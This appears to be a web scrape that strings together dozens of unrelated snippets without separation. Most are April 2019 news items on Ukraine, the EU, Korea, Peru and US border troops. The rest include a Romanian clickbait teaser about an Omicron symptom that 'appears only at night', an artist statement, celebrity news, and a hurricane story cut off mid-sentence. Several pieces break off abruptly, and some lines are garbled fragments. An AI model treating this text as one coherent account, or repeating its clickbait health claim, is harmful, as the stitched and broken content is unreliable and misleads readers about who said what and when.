23,725 eligible voters in 12 European Union (EU) member states conducted in January 2019. According to a recent YouGov survey, 23 percent of Germans viewed the European elections as less important than the elections for the German parliament, federal state parliament and local elections. Forty-five percent of Germans surveyed "did not know any of the nine top candidates of the parties represented in the Bundestag," YouGov found. Source: Xinhua| 2019-04-27 01:59:30|Editor: yan Video Player Close BUDAPEST, April 26 (Xinhua) -- Hungary cannot accept the planned reduction of farm subsidies in the next budgetary cycle of the European Union (EU), according officials sources here on Friday. Zsolt Feldman, state minister for agriculture, declared that the current budget draft of the EU for the 2021-2027 period would mean a reduction in farm subsidies to Hungary of about two billion euros per year. Feldman was quoted by the Hungarian government's official website. He added that between 2008 and 2018 - in large part due to the subsidies Hungary received within the framework of the EU's common agricultural policy (CAP), the output of the Hungarian agricultural sector has grown the fastest among all EU members and its exports have doubled. Feldman also said that farmers' associations were gathering signatures against the planned budgetary cuts and were looking for allies and support from other countries in their lobbying against the changes. EU subsidies are especially important for Hungary, as the country faces a severe period of drought since at least eight months, and will have to rely on imports from Russia and Ukraine regarding corn and wheat. The production of these cereals this year is likely to decrease by at least 10 percent compared to 2018. (1 euro = 1.12 U.S. dollars) Source: Xinhua| 2019-04-27 01:59:32|Editor: yan Video Player Close KIEV, April 26 (Xinhua) -- Representatives of the Ukrainian government have discussed prospects for infrastructure cooperation with Chinese officials and business people, Ukraine's Ministry of Infrastructure said in a statement on Friday. During a visit to Beijing, a Ukrainian government delegation led by First Deputy Prime Minister Stepan Kubiv hold meetings with representatives of China's Ministry of Transport, Ministry of Commerce, Export-Import Bank of China and China's investment companies. During the meetings, the two sides discussed opportunities of carrying out joint infrastructure projects, including the construction of a bridge over the Dnieper River in Kremenchuk city in Ukraine's central Poltava region. The Ukrainian government delegation arrived in Beijing Thursday on a working visit. During its visit, the delegation also took part in the second Belt and Road Forum for International Cooperation. Source: Xinhua| 2019-04-27 01:59:35|Editor: yan Video Player Close BEIRUT, April 26 (Xinhua) -- Lebanon's Minister of Energy and Water Nada Boustani said on Friday that his country will start to drill the first well in maritime Block 4 by the end of 2019, an online independent newspaper reported. "This is a very important step because it will allows us to discover our oil and gas resources," she was quoted as saying by Elnashra. Boustani's remarks came after her meeting with a delegation from France's petroleum refining company Total over the specific location of the first well which will be drilled about 30 km away from the shore. In February 2018, Lebanon signed its first offshore oil and gas exploration and production contracts for two energy blocks with a consortium of France's Total, Italy's Eni and Russia's Novatek. The Seoul Central District Prosecutors' Office on Thursday rejected ex-President Park Geun-hye's petition for compassionate leave from jail so she can go to hospital. Park's health condition "did not satisfy requirements for compassionate leave," a prosecutor said. Park is serving a two-year prison sentence for meddling in her party's nominations for the 2016 general elections, while judgment in the appeal against her 25-year sentence for corruption, racketeering and a raft of other criminal offenses is pending. She remains in a remand jail. Her lawyer, Yoo Yeong-ha, had petitioned for her release, because she is suffering from "searing" back pain and other ailments. On Monday morning, prosecutors visited the prison with doctors and independent observers to check up on Park and review her medical records. After deliberation, they recommended on Thursday that her petition be turned down, and chief prosecutor Yoon Seok-youl agreed. Politicians' reactions were mixed. Lee Hae-sik, a spokesman for the ruling Minjoo Party, said, "The decision fits judicial process and national sentiment." But splinters of Parks old Saenuri Party rejected it as grossly unfair. Min Kyung-wook, a spokesman for the main opposition Liberty Korea Party said, "This regime has not one iota of compassion. It's a crying shame that they declined the petition." Children stand beside flood water at a village in Khuzestan Province, southwestern Iran, on April 10, 2019. (Xinhua File photo) TEHRAN, April 26 (Xinhua) -- The first batch of emergency aid materials from the Chinese government to Iran's flood-hit areas landed in the capital Tehran on Friday. Chinese Ambassador to Iran Pang Sen handed over the aid materials to an Iranian representative after a brief signing ceremony. Among the materials are 2,600 waterproof camps, which were carried by a cargo plane belonging to the China Cargo Airlines. "On the basis of our mutual friendship, we are willing to help the Iranian people within our reach," Pang said. Iran's Foreign Ministry expressed its gratitude to China. More Chinese aid, including lifeboats, life vests and diesel generators, will arrive in the coming days. Continuous rainy days started to hit Iran in late March, where floods invaded at least 25 out of the country's 31 provinces, causing economic losses worth hundreds of millions of U.S. dollars and dozens of casualties. Source: Xinhua| 2019-04-27 05:31:18|Editor: Xiaoxia Video Player Close Tunisian Foreign Minister Khemaies Jhinaoui (R) shakes hands with visiting Algerian Foreign Minister Sabri Boukadoum in Tunis, Tunisia, April 26, 2019. Tunisian Foreign Minister Khemaies Jhinaoui and his visiting Algerian counterpart Sabri Boukadoum agreed on the "alarming and chaotic" situation in Libya, Tunis Afrique Presse (TAP) reported Friday. (Xinhua/Adele Ezzine) TUNIS, April 26 (Xinhua) -- Tunisian Foreign Minister Khemaies Jhinaoui and his visiting Algerian counterpart Sabri Boukadoum agreed on the "alarming and chaotic" situation in Libya, Tunis Afrique Presse (TAP) reported Friday. "In a joint statement, the two ministers urged the warring sides in Libya to put an immediate end to the infighting and the long suffering of the Libyan people," a Tunisian diplomatic source was quoted as saying by TAP. The two ministers insisted that it is essential to return to dialogue among Libyans and pursue the political course as the sole means to resolve the country's crisis. In order to reach a comprehensive political settlement in Libya based on a consensus among warring sides, the Tunisian-Algerian statement called for continued support for the efforts of the United Nations and its special envoy to Libya Ghassan Salame. It emphasized the responsibility of the international community to end the crisis by encouraging all Libyan parties to complete the political process. Simptomul specific infectiei cu Omicron care apare doar noaptea. Va puteti da seama ca ati contractat virusul Bolnavii de COVID se confrunta cu un simptom al infectiei care apare doar noaptea, astfel ca, in felul acesta, va puteti da seama ca ati contractat virusul. Profita acum : [citeste mai departe] Stiri pe aceeasi tema - South Korea's ambassador to Romania Kim Yong Ho was on a visit to Iasi today to identify new opportunities for cooperation; he used the occasion to also visit the Iasi Clinical Rehabilitation Hospital for a presentation of the latest equipment acquired by the facility's Robotics Department. General - The Minister of Foreign Affairs, Bogdan Aurescu, believes that "American military presence in the region needs to be increased, for both troops, as well as equipment, not just in Romania, but also in the southern part of the Eastern flank". On a visit to Washington, the head of the Romanian - Un baietel a ajuns in centrul atentiei in timpul audientei saptamanale sustinute de Suveranul Pontif, miercuri, la Vatican. Copilul a urcat pe scena si s-a apropiat de Papa Francisc, atras de boneta purtata de acesta, dupa care a luat loc langa el, relateaza Reuters, potrivit Agerpres.Baiatul, despre - Security and stability in the Black Sea region are in the national interest of the United States and are critical in terms of the security of the Eastern Flank, US Secretary of Defense Lloyd J. Austin III said on Wednesday in a press conference with his Romanian counterpart Nicolae Ciuca, agerpres - Romanian athlete Eduard Serban won the gold medal in the 100 kg. category, at the Judo European Cup in Dubrovnik, Croatia. Serban defeated Croatian Josip Kokeza during the eighths and during the quarters he won against German Marvin Belz, dispatching British Max Gregory in the semi-finals and defeating - Immigration police officers in western Arad, with the support of the gendarmes, carried out escorted removals from Romania's territory in the case of 24 foreign citizens in public custody, on whose name the measure denying them entry into our country for a period of 5 years having been imposed. - Romanian athlete Adrian Sulca conquered the gold medal for the 73 kg. category, during the World Judo Juniors Championships in Olbia, Italy. Sulca entered the second round directly and established himself in front of Dutch Koen Heg, during the eighths he passed Kazakh Daniyar Shamshayev, during the - Romanian officials are concerned that scenes of overflowing Italian hospitals during the initial weeks of the pandemic are becoming the reality in Romania, according to Bloomberg. Amid persistent hesitancy at getting jabs, the nations 19 million people are the second-least-vaccinated in the European On April 25, Russian mercenaries violated the ceasefire regime in Donbas nine times. The Joint Forces Operation HQ reported that Friday morning. Most of the attacks took place in Donetsk region. The enemy used 120 mm mortars to shell Pisky; hostile IFVs opened fire near Pavlopol; small arms, grenade launchers and heavy machine guns were used in attacks on Hnutove and Pishchevik. Heavy machine gun fire was reported in Lebedynske and Talakivka. In Luhansk region, the enemy used 82 mm mortars to attack Ukrainian outpost in Krymske. Ukrainian troops suffered no casualties over the said period. The enemy did not open fire since the early hours of April 26. Russia-backed militants violated the ceasefire regime 10 times using the Minsk-banned weaponry in the Donbas combat zone on April 24, the Ministry of Defense of Ukraine reported. According to the report, the enemy fired the Ukrainian positions with grenade launchers of the various systems, heavy machine guns, and small arms. In the Donetsk region, the pro-Kremlin militants fired the Armed Forces of Ukraine near Mykolaivka, Novohnativka and Vodiane settlements. In the Luhansk region, the occupant opened fire six times near Troitske, Novozvanivka, Popasna, Shymy, and Luhanske villages. The government wants to allot a W6.7 trillion supplementary budget to the fight against fine-dust pollution and other measures (US$1=W1,163). This is nothing but a gimmick since the government has in fact only spent 40 percent of this year's budget so far, and it is also legally dubious since the government can only seek an emergency budget in times of large-scale disasters or mass unemployment. Yet the government has ignored this law and turned to supplementary budgets for three years running. "We need to force open the government's coffers," said the head of a committee tasked with implementing the Moon Jae-in administration's income-led growth policies. Even supposing that air pollution has taken on the dimensions of a national disaster, a closer look reveals that the fight against fine dust only makes up about 22 percent of the spending plan. Some W1.5 trillion will go to subsidizing the replacement of aging diesel cars to reduce fine-dust emission by 7,000 tons. That reduction accounts for only 2.5 percent of the fine dust that blankets the country throughout the year. There is also a high chance of repeating the Seoul city government's waste of W15 billion on free subway rides for just three days in a bid to get more people to leave their cars at home. What is really needed is a long-term approach, instead of pumping taxpayers money into quick fixes. Perhaps even the government realized that its excuse was shoddy, so it came up with another reason for the supplementary budget -- "preemptive economic measures." It says it wants to finance infrastructure projects, support start-ups and take other pump-priming steps. Then what about the rosy economic forecast the government has been pitching? President Moon said recently that the economy is on a "sound footing," and the finance minister said the job situation was "improving" even as record numbers of young people are out of work and quality jobs are being lost all the time. But suddenly the government says it needs an emergency budget, half of which will be used for cash handouts to the poor and creating public-sector jobs. These are populist, stop-gap measures aimed at buying votes for next year's general elections. This government is making the same mistake over and over and never learns. So-called income-led growth policies have resulted in record unemployment, and a whopping W54 trillion in taxpayers' money was then spent to fix these problems with little to show for it at the end. The drastic increase in the minimum wage has made many small businesses suffer, so now the government wants to spend W200 billion to fix the problem it created. It wants to pump another W7.6 billion into Seoul city's "zero-pay" mobile wallet program, which has been ignored by both businesses and consumers in favor of better systems that can be used everywhere. Meanwhile the government has W4.8 billion left out of a W25.8 billion budget to install air purifiers in nursery schools but says it needs another W30.9 billion because it has gotten nowhere near its target. The government is becoming addicted to populist policies to the point where it will be no surprise to anyone if state coffers simply run dry. Foreign Minister of Hungary Peter Szijjarto called the law on the Ukrainian language adopted by the Verkhovna Rada on April 25 unacceptable as Mandiner reported. Szijjarto stated that the law violates the rights of the Hungarian minority and corresponds to the vision of current President of Ukraine Petro Poroshenko, who supposedly promoted anti-Hungarian policy. The Hungarian minister hopes that it will be possible to clarify the situation with the laws, concerning the rights of the Hungarian community with future president of Ukraine Volodymyr Zelensky. On April 25, the Verkhovna Rada of Ukraine has adopted the draft law #5670-d on the provision of the functioning of the Ukrainian language as the state one on the second reading and in general. As is known, Ukraine and Hungary's relations worsened when the Ukrainian parliament passed the law on education; it stipulated that the national minorities will be gradually switched to the mode where school children study in the Ukrainian language. They would be able to learn their native language, choosing it as an optional subject. Related video: The politician believes that Ukrainians expect from the newly elected president the decrease of the tariffs by 40%, the abolition of the MPs immunity, the immunity of the judges, the president, beginning of the negotiations with Russia It is impossible to create artificially the reasons and circumstances, which can lead the dissolution of the parliament, snap, in favor of party political interests, in favor of a particular group of people in the law-based state. Viktor Medvedchuk, the Chairman of Political Council of Opposition Platform for life Said that in his Big Interview, which will be broadcasted on 112 Ukraine TV channel on May 4 at 9:20 p.m. If we proceed from the interests of the state, country, then I think that the snap elections are impossible. It is unacceptable and I want to sincerely believe in the fact that we live in the law-based state. In the law-based state, it is impossible to create artificially the reasons and circumstances, which can lead the dissolution of the parliament, snap, in favor of party political interests, in favor of a particular group of people, Medvedchuk said. They say that Zelensky is interested in the dissolution of the parliament to approach the elections. And his team, party Servant of the People should enter the parliament on the edge of support and high rating and high result at the presidential elections. Other people say: Poroshenko should urgently go to the snap elections because his rating is low and it can become even lower until the autumn. And that is why he should catch the last train to lock in the electorate and percent of the votes at least at this level at the possible elections because they can be even lower in autumn. Now, it is possible to get a prestigious level of support and bring sufficiently large faction into the parliament. Such version exists; it is discussed. But the first and the second variants are unacceptable if we talk about the law-based country. They should create artificially. The absence of the coalition can cause the dissolution of the parliament. But there is no coalition for two-three years. Everybody knows it. Then why these wise guys did not raise the issue that the parliament should be dissolved and why they did not warn about the absence of the coalition in a month before it? Create it or go to the elections. Why did they not do it? Is it in the interest of people? Politician said. No. because people are waiting for the first steps of Mr. Zelensky. They expect the decrease of the tariffs by 40%, according to the sociology held in a week before the second tour. People wait during 100 days and they will make claims. The decrease of the tariffs is the first thing; the abolition of the MPs immunity, the immunity of the judges, the president. The third thing is the beginning of the negotiations with Russia 23%. The fourth is the fight against the wages of the TOP managers. There are the expectations of our citizens according to the sociological research. And president should think how to do it, said Viktor Medvedchuk. The second round of the elections of the President of Ukraine took place on April 21. Volodymyr Zelensky has won with 73,22% of votes, and current President Poroshenko gets 24,45%. Besides, Central Election Commission processed 100% of the protocols at abroad election district: Petro Poroshenko gained 54,74% of the votes, while Zelensky got 43,78%. This is Kyiv's stance in view of Russian leader Putin's recent decree on issuing Russian passports to residents of the occupied Donbas Ukraines Permanent Representative to the UN Volodymyr Yelchenko Ukrinform Ukraine urges the UN Security Council member countries to increase the sanctions pressure on Russia - in the view of Russian leader Putin's recent decree on issuing Russian passports to residents of the occupied Donbas. Ukraine's Envoy in the UN Volodymyr Yelchenko said this at the urgent session of the UN Security Council. RBC-Ukraine news agency quoted him as saying. Yechenko called Putin's decree a violation of Minsk agreement and an attempt to undermine the process of peaceful settlement in the eastern part of Ukraine's Donbas. 'Thus, the increase of the international pressure on the Kremlin, including the targeted sanctions against the aggressor state should be our common objective. This is the way for Russia to return on the path of living up to its commitments in terms of Minsk agreements. This is the way to the peaceful settlement in Donbas', he said. Yelchenko stated that the decree is illegal, and Ukraine does not recognize any of its consequences. On April 25, the Ukrainian Parliament turned to the international community, asking governments and parliaments to blame the Russian Federation's actions aimed at issuing passports for residents of the occupied territories of Donetsk and Luhansk regions. The respective appeal was sent to the EU member countries, Canada, the United States, as well as the UN, OSCE and the Council of Europe. 'Thus, the Kremlin once again breached the basic principles of the international law - deliberately and cynically. The previous practice of Russia's illegal use of the citizenship in the occupied territories shows this policy is of forced and discriminative nature, being the instruments of committing crimes against the humanity and entails human rights violations', reads the address. Linkevicius condemned the decision of Russia to issue passports to the citizens of occupied areas of Donbas Ukraines Foreign Minister Pavlo Klimkin met Foreign Minister of Lithuania Linas Linkevicius. Lithuanian official stood for the support of Ukraine and found the issuance of the Russian passports to Donbas citizens the violation of the international legislation as 112 Ukraine reported. Lithuanian Foreign Minister thinks that Ukraine will face changes. He added that he will continue to support Ukraine. Linkevicius condemned the decision of Russia to issue passports to the citizens of occupied areas of Donbas and the possibility to get Russian citizenship. He thinks that the Russian government violates international legislation with such actions. Russia has begun to issue the passports in the territory of temporary occupied areas of Donetsk and Luhansk regions and it is the daring violation of the international legislation and it will lead to the legal, financial, political and other consequences, Linkevicius added. In his turn, Pavlo Klimkin states that they agreed on the further discussion of the extra sanction against Russia during the next session of the EU Foreign Ministers. We work to build the international responsibility. Linas will talk about it during the next session of the EU Foreign Ministers. We are united in the decision that not only political pressure on Russia is necessary but also the extra sanctions. Here, I think, we should think about sectoral and economic sanctions. We have begun to discuss it, Klimkin said. On April 24, Russian President Vladimir Putin signed a decree which facilitates the procedure of obtaining the Russian citizenship for the residents of the occupied regions of Donetsk and Luhansk (ORDLO). According to the document, the application for Russias citizenship, which ORDLO residents file should be considered within three months. Ukraine appealed to the UN Security Council after this decision and Permanent Representative of Ukraine to the UN Volodymyr Yelchenko called it to be the daring step, which contradicts the Minsk Agreements. As it was reported, Russia wanted to facilitate the process of obtaining Russian citizenship for the residents of the so-called Donetsk and Luhansk Peoples Republics after presidential elections in Ukraine. Putins decree was required for that. Ukraines Ministry of Temporarily Occupied Territories and IDPs reported that people who get Russian passports will lose their Ukrainian citizenship. The quality of Russian crude oil does not meet the required standards, the company's statement says Open source Ukrtransnafta company, Ukraine's national oil transit operator claimed that the oil transit from Russia has been temporarily suspended. The company reported that on its Facebook page. The transit is suspended on the Mozyr-Brody pipeline, which runs from southern Belarus to western Ukraine. 'The company made such decision, abiding by the agreement on providing oil transportation services across Ukraine. According to its conditions, Ukrtransnafta has the right to stop the intake of the Russian oil, if the raw material does not meet the quality standards', the message says. The material damage lies with the Russian side, which failed to live up to its commitments. The Ukrainian government initiated financial compensation for the families of the miners who deceased in the explosion at a coal mine in the occupied area of Luhansk region. Ministry for Temporarily Occupied Territories of Ukraine considers the steps, reacting to the incident. Deputy Minister Georgiy Tuka said that during the question hour in the Parliament on April 26. Tuka confirmed that the disaster occurred in the occupied area of Luhansk region. 'We totally share your views regarding the support of Ukrainian citizens who ended up in tough conditions, let alone in the occupied territory', he said. A number of explosions occurred at SkhidKarbon coal mine near Luhansk on the occupied territory of Luhansk region, eastern Ukraine. The blasts reportedly took lives of 19 people. TASS reported this, citing the Emergency Ministry of the Russian Federation. Officers of Russias Emergency Ministry headed for the accident scene on request of the so-called Luhansk Peoples Republic that controls the area. SkhidKarbon is the only mini-mine on the territory of Lutuhyne Raion in Luhansk region. Due to hostilities, the mine wasnt operating since 2014, however, production operations were resumed in January 2018. The rally was gathered after the decision of the Prosecutors Office to change the suspicion for Manger The representatives of the initiative Who ordered Handziuk arrived to the house Prosecutor General Yury Lutsenko not far from Kyiv due to the mitigation of the suspicion for Vladyslav Manger, the Head of Kherson Regional Council as Ukrayinska Pravda reported. "We have to refrain to such actions as we have no response from the prosecutor general. He still has not commented on why the suspicion for Manger was changed. At the same time, Prosecutors Office spokesperson Andry Lysenko states that the changing of the suspicion for Manger was agreed with the relatives and lawyers of the deceased and according to my information, it does not correspond to reality, Masi Nayyem, the lawyer and partaker of the rally stated. A person claiming to be the representative of the State Security Servie reported that Lutsenko was not at home, he was a work. Besides, any member of his family was at home. The lights went out at the house. During the rally, the representatives of the initiative threw the firecrackers at the house, burnt flares and shouted shame to Lutsenko, Lutsenko, go out. The initiative noted that the rallies will be continued near the building of the Prosecutor Generals Office. On April 25, the Prosecutor Generals Office changed the suspicion of Manger from the organization of the murder to the organization of the beating. On March 6, Vladyslav Manger, the suspect in the organization of murder of activist Kateryna Hanzdiuk has been suspended from duty for a month. On February 11, Vladyslav Manger was served with charge papers in Handziuks murder. In his turn, Manger said that he would not escape from the country due to suspicion of organizing the murder of Handziuk. The court ruled to arrest Manger until March 3 with the possibility of bail. However, later lawyer Dmitry Ilchenko has posted a bail for his client Kherson Regional Council Head Vladyslav Manger. On February 19, Vladyslav Manger started to wear the digital bracelet. On November 4, 2018, it became known that Kateryna Handziuk died at the age of 34. She was doused with sulphuric acid in July this year. According to preliminary information, her death was caused by blood clot's detachment. Besides, the doctors specified the cause for the death of Handziuk was specified. It was due to multiple organ failure and chemical burns. The oligarch demands to recognize the credit contracts with his personal guarantee null and void Ukrainian oligarch Ihor Kolomoysky Unian Oligarch Ihor Kolomoysky filed another five lawsuits against the National Bank of Ukraine (NBU) and PrivatBank to Kyiv Economic Court as NV Biznes reported. Moreover, one of the lawsuits appeared in the registered of the court decisions. It is reported that Kolomoysky disputes five credit contracts and his guarantee on them. The first hearings will take place on May 10, May 22 and May 23. According to the lawyers, such decision was made for the support of the decision of Pechersk court. It granted the lawsuit of Kolomoysky on the abolishment of personal guarantee on the refinancing loans issued to PrivatBank by the NBU in the sum of $348,118. The filing of the new lawsuits by Ihor Kolomoysky to Kyiv Economic Court on the recognition of his guarantee before the NBU on the refinancing loans of PrivatBank also can shows about the awareness of his lawyers on the absence of the legal effects expected by the claimant during the appealing to the court, the experts said. And the most important is the awareness about sufficient legal basis for the compulsory abolishment of the decision of Pechersk District Court of Kyiv announced on April 20, which terminated the contracts of the personal guarantee of Ihor Kolomoysky in the appeal, they specified. In the case if Pechersk District Court does not accept the legal arguments of the bank, it can be treated as the neglect of the legal conclusions of the Supreme Court. These conclusions are obligatory for the use, for example, on the impossibility to termination of the contracts on the guarantee basing on mentioned grounds. Such lawsuits should be considered in the order of the economic court and consequently, Pechersk Court has to stop the proceeding in the case of Koloymyskys lawsuit, the message said. On April 18, Kyiv-based court ruled that the nationalization of Privatbank in late 2017 was 'conducted with multiple law breaches.' The court, thus, granted the motion by Ihor Kolomoysky, the oligarch who appealed against the nationalization of the bank he had owned. District Administrative Court of Kyiv granted the claim of Ukrainian oligarch Ihor Kolomoysky against the National Bank of Ukraine and Ukraines Government on nationalization of PrivatBank. At the same time, Razumkov stated there is no such method to end the war in Donbas tomorrow Dmytro Razumkov, the advisor of Volodymyr Zelensky stated that the peace on Donbas can be reached under the terms of Ukraine. Razumkov stated this on the air of the talk-show The Voice of the People on 112.Ukraine. Unfortunately, there is no such method to end the war tomorrow. But there is an idea of how to act in order to reach peace. Peace can only be reached under Ukraines conditions. If we follow Russias terms, peace can be reached even tomorrow, but I doubt that the patriots of Ukraine will accept those terms, Razumkov stated. Razumkov stated that the order on the issuance of the Russian passports to the Ukrainian citizens of Donbas is the recognition of aggression from the Russian party. In fact, it is recognition from the Russian Federation. Russia claimed they occupied Crime, this annexation they call a return to their homeland. At present they are confirming Russia is an aggressor state with this simplifying process of giving Russian citizenship, Zelenskys advisor added. As it was reported, Russia wanted to facilitate the process of obtaining Russian citizenship for the residents of the so-called Donetsk and Luhansk Peoples Republics after presidential elections in Ukraine. Putins decree was required for that. Ukraines Ministry of Temporarily Occupied Territories and IDPs reported that people who get Russian passports will lose their Ukrainian citizenship. The main reason for delay is that the MPs have two days to file the regulations on the abolishment of the law Andry Paruby, the Chairman of the Verkhovna Rada of Ukraine Facebook Andriy Parubiy The law on the state language #5670-d will be signed by Chairman of the Verkhovna Rada of Ukraine Andry Paruby on May 14 as 112 Ukraine reported. During the next plenary session we will urgently consider all these orders; I will urgently sign the law on the language; urgently, we have the agreement, President Poroshenko will sign the law, Paruby said. He explained why he is not going to do it earlier. Four regulations on the abolishment of the law on the Ukrainian language were received; and I want to report that there are two days, according to the rules of the Verkhovna Rada, to submit such regulations. The issue is that there is no difficulties for the Verkhovna Rada to abolish these regulations but if we abolish them earlier that after two days and the law will be signed earlier than in two days, then it can doubt the legitimacy of the law, Paruby said. He warned against the violation of the regulation norms, as it will allow the MPs to appeal to the Constitution court and argue the legitimacy of the law on the language. But we should not provide any chance, I emphasize, any change to allow the Constitution court to doubt the law on the Ukrainian language, he added. On April 25, the Verkhovna Rada of Ukraine has adopted the draft law #5670-d on the provision of the functioning of the Ukrainian language as the state one on the second reading and in general. Earlier we reported that the status of Ukraine's state language will be endorsed over the course of the next ten years when the government implements the respective program. On February 28, 2018, the Constitutional Court of Ukraine produced a ruling in regards to the law On the principles of the state language policy #5029-VI (the so-called Kolesnychenko-Kivalov law). Home Just In Nepal President stresses connectivity in her address to BRI Forum Kathmandu, April 26 Nepals President Bidya Devi Bhandari has stressed the need of bilateral and multilateral connectivity for Nepal in her address to the Belt and Road Initiative Forum for International Cooperation, currently underway in Beijing. President Bhandari, the leader of Nepali delegation, delivered her eight-minute address in Nepali language in the Chinese capital on Friday. In her address, the President said connectivity would be the most important factor for a landlocked country like Nepal for its social and economic development. A hopeful leader said connectivity would open the doors to bilateral and multilateral trade, investment, tourism and public relations. The development of Nepal-China cross border railway and a multidimensional connectivity network would promote not only the connectivity between two countries, but also between Nepal and other countries of this region, she said. Bhandari was appreciative of Chinese President Xi Jinpings vision for creating a common future for the humanity through cooperation. The informal meeting took place in the office of Studio Kvartal-95 on April 24 Open source Prime Minister of Ukraine Volodymyr Groysman and newly elected President of Ukraine Volodymyr Zelensky had an unofficial meeting, where they discussed the worldwide questions and the current situation in the country. The press service of Volodymyr Zelensky stated as Interfax-Ukraine reported. Volodymyr Groysman came to get acquainted with Volodymyr Zelelnsky. They have discussed the general world issues. The meeting was an unofficial one. They talked about life, the current situation in the county, the report said. The meeting between the winner of the second round of the presidential elections Volodymyr Zelensky and Ukrainian Prime Minister Volodymyr Groysman took place in the office of Studio Kvartal-95 on April 24. Ukraines PM Volodymyr Groysman told about a phone call to Volodymyr Zelensky to congratulate the comedian on the victory. Besides, he stressed that the challenges he faces are rather serious and everything has to be done to overcome them. Earlier, Groysman said he never hid his intentions to participate in the parliamentary elections as "there were a lot of things to do." Besides, the Prime Minister said he would not resign till the elections to Verkhovna Rada, scheduled for October 27, 2019. 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Named after the wounded Fisher King of Arthurian Legend, A Prairie Fisher King espouses the notion of home as both a site of idealization and a locus for wounding. Drawing from memory, a narrative is woven in the form of photographs and text of the rural Iowa countryside where my family has lived for generations. A Prairie Fisher King is an ongoing body of work reflecting on the nature of familial hardship and generational connection through the lens of place. An undertone of violence embodies the emotional distress accumulated with age as well as a looming threat posed upon the landscape. Initially conceived as a bittersweet love letter to home, A Prairie Fisher King considers the various myths we construct in order to survive in the face of inevitable change. Through the accumulation of intimately described detail a search for reconciliation becomes palpable. I assume the role of reluctant hero and return to seek the damaged king, to seal old wounds and to salve the land. __________________________________________ Chelsea Darter received her MFA at Columbia College Chicago in 2018 and her BFA from The University of Iowa in 2013. Her work has been exhibited nationally and internationally, and featured online by Light Leaked, Aint-Bad, and Fraction Magazine. Her personal work explores themes of place attachment, class, familial connection and local mythologies. She lives and works in Albuquerque, New Mexico. . , 5:2 18- . , -. , 2:0 27-... Steve Granitz/WireImagePentatonix delivered an epic a cappella mash-up of all of Ariana Grandes hits and it was enough to bring Ariana to tears. The group released a video of the medley Friday, which features an musical progression of Ariana songs, from her first big hit The Way through thank u, next. We are HUGE FANS of @ArianaGrande, so instead of covering a single song, we filmed the EVOLUTION OF ARIANA GRANDE, singing all of her biggest hits! Pentatonix tweeted, adding, You miiiiight hear this one LIVE on our upcoming world tour, too! Soon after, Ariana tweeted her emotional reaction to the tribute. this is so incredible my face has chills and the last minute made me sob, she wrote. also, i forgot i have that many songs. i have no idea how that happened. anyway, u are all incredible & i love you dearly. crying bye. thank you. Pentatonix kicks off their world tour May 11 in Oakland, California. Copyright 2019, ABC Radio. All rights reserved. Mario Tama/Getty Images(WASHINGTON) -- The Pentagon plans to send about 300 more U.S. active-duty troops to the border as cooks and drivers, some of whom will come into contact with migrants as they hand out food to migrants as part of the mission to help U.S. Customs and Border Protection deal with the large number of migrants arriving at the southern border. Allowing some of the new 300 troops headed to the border to hand out meals to detained migrants has led the Pentagon to come up with an exception to a previous Defense Department policy to allow "incidental contact" with migrants. Pentagon officials stressed that U.S. troops will continue to not engage in law enforcement duties. Acting Defense Secretary Patrick Shanahan has still not signed the order authorizing the deployment that is part of the Department of Homeland Security's latest request for assistance from the Pentagon that was received on Thursday. The new troops will join the 2,900 active duty troops and 2,000 National Guardsmen currently deployed to the border proving logistical support to DHS. Because of their job functions, the new deployment will place U.S. troops in regular contact with migrants being detained by CBP personnel. "We have border patrol stations where the CBP is literally overwhelmed with migrants," said Charlie Summers the acting Pentagon spokesman told reporters Friday. "Were simply delineating the fact that we will have some of our troops handing out meals and therefore will come in contact with migrants." "Our policy is the same as it was in 2006 when we had thousands of National Guard troops on the border monitoring and reporting to CBP," said Summers. Though he acknowledged that an exception to that policy had been made to specifically allow 100 troops to come into incidental contact with migrants as they provide them with meals. "There is no change, there is no waiver, its just us handing meals to migrants. Nothing else," said Summers. According to Summers, 160 new troops will provide transportation duties along the border, 100 general support troops will prepare and hand out meals to detainees and 20 military lawyers will help Immigration and Customs Enforcement in legal matters. CBP law enforcement personnel will provide the security on all of the transport vehicles and the military drivers will drive from "within a segregated driver's compartment." The new request from the Department of Homeland Security has been anticipated for weeks as the number of migrants along the border has swelled in recent months. Acting Defense Secretary Patrick Shanahan told Pentagon reporters two weeks ago that he expected an increase in U.S. military support for the border. "Our support is very elastic and given the deterioration there at the border you would expect that we would provide more support," Shanahan said. According to CBP figures, the 92,000 migrants detained crossing the border in March was the highest monthly figure since 2007. Some 58,000 of those migrants were part of families crossing together, reflecting the new pattern of migrants attempting to cross the border. Copyright 2019, ABC Radio. All rights reserved. Subject Quick Links Click on any of the badges below to see posts from that subject area. This is just a quick way to search for all posts with these labels using one click. Presidente @MartinVizcarraC: La verdad y la justicia estan por encima de todo. Verdad y justicia antes que cualquier interes particular. Verdad y justicia para construir un pais con instituciones solidas, con una clase politica decente y una sociedad informada y vigilante. pic.twitter.com/trTZko8M1K Con la inauguracion del colegio N. 62168 en Mayuriaga, #Loreto, estudiantes de esta comunidad realizaran sus actividades escolares en modernas instalaciones implementadas de acuerdo a las condiciones climatologicas de la zona. Lee la nota completa aqui: https://t.co/VNS1x9DOJm pic.twitter.com/2YLEQ5rP41 Preliminary detention According to the Prosecutor's Office, during his tenure as Minister part of former President Alejandro Toledo's administration (2001-2006), he had approved regulations to favor the Brazilian corporation Likewise, Kuczynski is accused of money laundering offenses , acting within the framework of a criminal organization, due to the events that took place when he was Economy-Finance Minister and Prime Minister between 2002 and 2006. President Donald Trump 's Government is willing to revitalize trade and economic links with our country, and there is still room to position more national products," he underlined. The event saw the participation of ADEX Board of Directors, associate exporters, and leaders of other business associations. According to Velasquez, even though China is the main destination for Peruvian exports , the United States is by far the most important one for value-added products. "() mainly for clothing, jewelry, and wood. So, the United States is strategic to meet the goal of US$75 billion by 2021," he stated. The official believes more markets should be developed, so he agrees with Ambassador de Zela that the United States should be considered a coalition of 50 countries, since each State is as large as an average nation. He also said agro-exports account for half of non-traditional sales to the United States. (END) MDV/MDV/RMB/MVB Peru's value-added exports to the United States are projected to experience stronger growth, Peruvian Exporters Association (Adex) Head Alfonso Velasquez said Friday.Published: 4/26/2019 " " Wild horses graze on the Rachel Carson Estuarine Reserve in Beaufort, North Carolina. Most survived 2018's Hurricane Florence. Bonnie Gruenberg/USED UNDER CREATIVE COMMONS CC BY-ND 3.0 The full impact of September 2018's Hurricane Florence is still being measured. Its verified death toll continues to rise: Forty-eight people across three states are now known to have died in the storm or its aftermath. Sadly, the fatalities left in Florence's wake were not restricted to humans. In North Carolina (an important livestock hub), flooding has killed roughly 3.4 